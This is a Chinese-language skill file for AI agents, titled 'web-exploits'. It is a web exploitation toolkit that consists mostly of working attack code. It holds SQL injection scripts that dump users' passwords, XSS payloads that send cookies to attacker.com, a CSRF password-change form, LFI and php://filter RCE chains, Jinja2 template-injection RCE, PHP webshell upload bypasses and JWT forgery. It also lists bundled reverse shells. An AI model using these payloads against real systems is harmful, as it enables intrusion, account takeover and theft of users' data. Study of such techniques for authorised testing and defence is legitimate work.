web-exploits

Web 漏洞利用模式

适用场景

在以下情况下加载此技能：

• 测试 Web 应用程序是否存在漏洞
• 利用 SQL 注入、XSS 或 CSRF
• 绕过文件上传限制
• 测试 LFI/RFI（本地/远程文件包含）
• 利用 SSTI（服务器端模板注入）
• 操纵 JWT 令牌
• 使用 Burp Suite 分析 Web 流量

SQL 注入

检测与利用

import requests

# Test for SQL injection
payloads = [
    "'",
    "' OR '1'='1",
    "' OR '1'='1'--",
    "' OR '1'='1' /*",
    "admin' --",
    "admin' #",
    "' UNION SELECT NULL--",
]

for payload in payloads:
    response = requests.post(url, data={'username': payload, 'password': 'test'})
    if "error" in response.text or "mysql" in response.text.lower():
        print(f"[!] Vulnerable to: {payload}")

基于 Union 的 SQLi

# Step 1: Find number of columns
for i in range(1, 20):
    payload = f"' UNION SELECT {','.join(['NULL']*i)}--"
    response = requests.get(f"{url}?id={payload}")
    if "error" not in response.text:
        print(f"[+] Number of columns: {i}")
        break

# Step 2: Extract data
payloads = [
    "' UNION SELECT 1,version(),3--",
    "' UNION SELECT 1,database(),3--",
    "' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--",
    "' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--",
    "' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--",
]

盲注 SQLi

# Time-based blind SQLi
import time

def time_based_sqli(url, param):
    """Check if parameter is vulnerable to time-based SQLi"""
    payload = f"' AND SLEEP(5)--"
    start = time.time()
    response = requests.get(f"{url}?{param}={payload}")
    elapsed = time.time() - start
    
    if elapsed >= 5:
        print(f"[+] Time-based SQLi confirmed on {param}")
        return True
    return False

# Boolean-based blind SQLi
def boolean_based_sqli(url):
    """Extract data character by character"""
    result = ""
    for i in range(1, 100):  # Max 100 characters
        for c in range(32, 127):  # ASCII printable
            payload = f"' AND ASCII(SUBSTRING(database(),{i},1))={c}--"
            response = requests.get(f"{url}?id={payload}")
            if "Welcome" in response.text:  # Success indicator
                result += chr(c)
                print(f"[+] Found: {result}")
                break
        else:
            break
    return result

跨站脚本攻击（XSS）

反射型 XSS

// Basic payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">

// Bypass filters
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror="alert(String.fromCharCode(88,83,83))">
<svg/onload=alert(1)>

// Extract cookies
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<img src=x onerror="location='http://attacker.com/?c='+document.cookie">

存储型 XSS

import requests

# Test stored XSS
xss_payloads = [
    "<script>alert(1)</script>",
    "<img src=x onerror=alert(1)>",
    "<svg onload=alert(1)>",
    '"><script>alert(1)</script>',
    "';alert(1);//",
]

for payload in xss_payloads:
    # Submit payload
    requests.post(url + "/comment", data={'text': payload})
    
    # Check if executed
    response = requests.get(url + "/comments")
    if payload in response.text:
        print(f"[+] Stored XSS: {payload}")

CSRF（跨站请求伪造）

<html>
  <body>
    <form action="https://target.com/change_password" method="POST">
      <input type="hidden" name="new_password" value="hacked123" />
      <input type="hidden" name="confirm_password" value="hacked123" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

# Test CSRF protection
import requests

session = requests.Session()

# Login first
session.post(url + "/login", data={'user': 'admin', 'pass': 'admin'})

# Try action without token
response = session.post(url + "/delete_user", data={'id': '1'})

if response.status_code == 200:
    print("[!] No CSRF protection!")

本地文件包含（LFI）

路径遍历

# Common LFI payloads
lfi_payloads = [
    "../../../../../etc/passwd",
    "....//....//....//....//etc/passwd",
    "..%2F..%2F..%2F..%2Fetc%2Fpasswd",
    "....\/....\/....\/....\/etc\/passwd",
    "/etc/passwd",
    "php://filter/convert.base64-encode/resource=index.php",
    "expect://whoami",
    "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7",
]

for payload in lfi_payloads:
    response = requests.get(f"{url}?page={payload}")
    if "root:" in response.text or "<?php" in response.text:
        print(f"[+] LFI found: {payload}")

PHP 过滤器链（RCE）

# Use php://filter to achieve RCE
filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|"
filter_chain += "convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|"
# ... (full chain truncated for brevity)
filter_chain += "resource=data://,<?php system($_GET['cmd']); ?>"

response = requests.get(f"{url}?page={filter_chain}&cmd=whoami")

服务器端模板注入（SSTI）

检测

# Test payloads for common template engines
ssti_tests = {
    'Jinja2': "{{7*7}}",  # Python (Flask)
    'Twig': "{{7*7}}",    # PHP
    'ERB': "<%= 7*7 %>",  # Ruby
    'Smarty': "{7*7}",    # PHP
    'Velocity': "#set($x=7*7)$x",  # Java
}

for engine, payload in ssti_tests.items():
    response = requests.get(f"{url}?name={payload}")
    if "49" in response.text:
        print(f"[+] {engine} SSTI detected!")

Jinja2 利用

# Read file
payload = "{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}"

# RCE (Python 2)
payload = "{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.sh', 'w').write('#!/bin/bash\\nid') }}"

# RCE (Python 3)
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"

绕过文件上传限制

扩展名绕过

# Test various extensions
extensions = [
    'php', 'php3', 'php4', 'php5', 'phtml', 'pht',
    'php.jpg', 'php.png', 'php;.jpg',
    'php%00.jpg',  # Null byte injection
]

for ext in extensions:
    filename = f"shell.{ext}"
    files = {'file': (filename, "<?php system($_GET['cmd']); ?>", 'application/x-php')}
    response = requests.post(url + "/upload", files=files)
    
    if response.status_code == 200:
        print(f"[+] Uploaded: {filename}")

Content-Type 绕过

# Try different MIME types
content_types = [
    'image/jpeg',
    'image/png',
    'image/gif',
    'application/octet-stream',
]

for ctype in content_types:
    files = {'file': ('shell.php', "<?php system($_GET['cmd']); ?>", ctype)}
    response = requests.post(url + "/upload", files=files)

魔数绕过

# Add GIF header to bypass file type checks
content = b"GIF89a" + b"<?php system($_GET['cmd']); ?>"
files = {'file': ('shell.php', content, 'image/gif')}
response = requests.post(url + "/upload", files=files)

JWT 令牌操纵

import jwt
import base64

# Decode JWT
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)

# None algorithm attack
header = base64.b64encode(b'{"typ":"JWT","alg":"none"}').strip(b'=')
payload = base64.b64encode(b'{"user":"admin"}').strip(b'=')
forged_token = header + b'.' + payload + b'.'

# Weak secret bruteforce
import hashlib
with open('wordlists/common.txt') as f:
    for secret in f:
        secret = secret.strip()
        try:
            jwt.decode(token, secret, algorithms=['HS256'])
            print(f"[+] Found secret: {secret}")
            break
        except:
            continue

快速参考

漏洞	检测模式	利用方式
SQL 注入	'、' OR 1=1--	' UNION SELECT ...
XSS	<script>alert(1)</script>	窃取 Cookie、劫持会话
LFI	../../../etc/passwd	读取敏感文件、通过日志投毒实现 RCE
SSTI	{{7*7}}、${7*7}	通过模板引擎实现 RCE
文件上传	上传 .php、.phtml	执行 Web shell
CSRF	未验证令牌	强制用户执行操作
JWT	alg: none、弱密钥	提升权限

随附资源

脚本

• scripts/csrf_grabber.py - 自动提取 CSRF 令牌
• scripts/jwt_tamper.py - JWT 令牌操纵工具
• scripts/lfi_tester.py - 自动化 LFI 测试
• scripts/ssti_tester.py - SSTI 检测与利用
• scripts/upload_tester.py - 文件上传绕过测试

Payload

• payloads/sqli_basic.txt - 基础 SQL 注入 payload
• payloads/sqli_mysql.txt - MySQL 专用 payload
• payloads/xss_reflected.txt - XSS 测试向量
• payloads/ssti_jinja2.txt - Jinja2 SSTI payload
• payloads/cmd_injection.txt - 命令注入模式
• payloads/lfi.txt - LFI/路径遍历 payload
• payloads/ssrf.txt - SSRF 测试 URL
• payloads/file_upload_bypass.txt - 扩展名绕过技巧

Webshell

• webshells/php_reverse.php - PHP 反向 Shell
• webshells/aspx_cmd.aspx - ASPX 命令 Shell
• webshells/jsp_cmd.jsp - JSP 命令 Shell
• webshells/node_cmd.js - Node.js Shell

模板

• templates/web_requests.py - 带会话处理功能的 Python requests 模板

字典

• wordlists/ - 常见用户名/密码列表（来自 SecLists）

关键词

Web 漏洞利用、SQL 注入、SQLi、XSS、跨站脚本攻击、CSRF、LFI、RFI、本地文件包含、SSTI、模板注入、文件上传、Webshell、JWT、JSON Web 令牌、命令注入、路径遍历、目录遍历、Web 安全、OWASP、Burp Suite、requests、beautifulsoup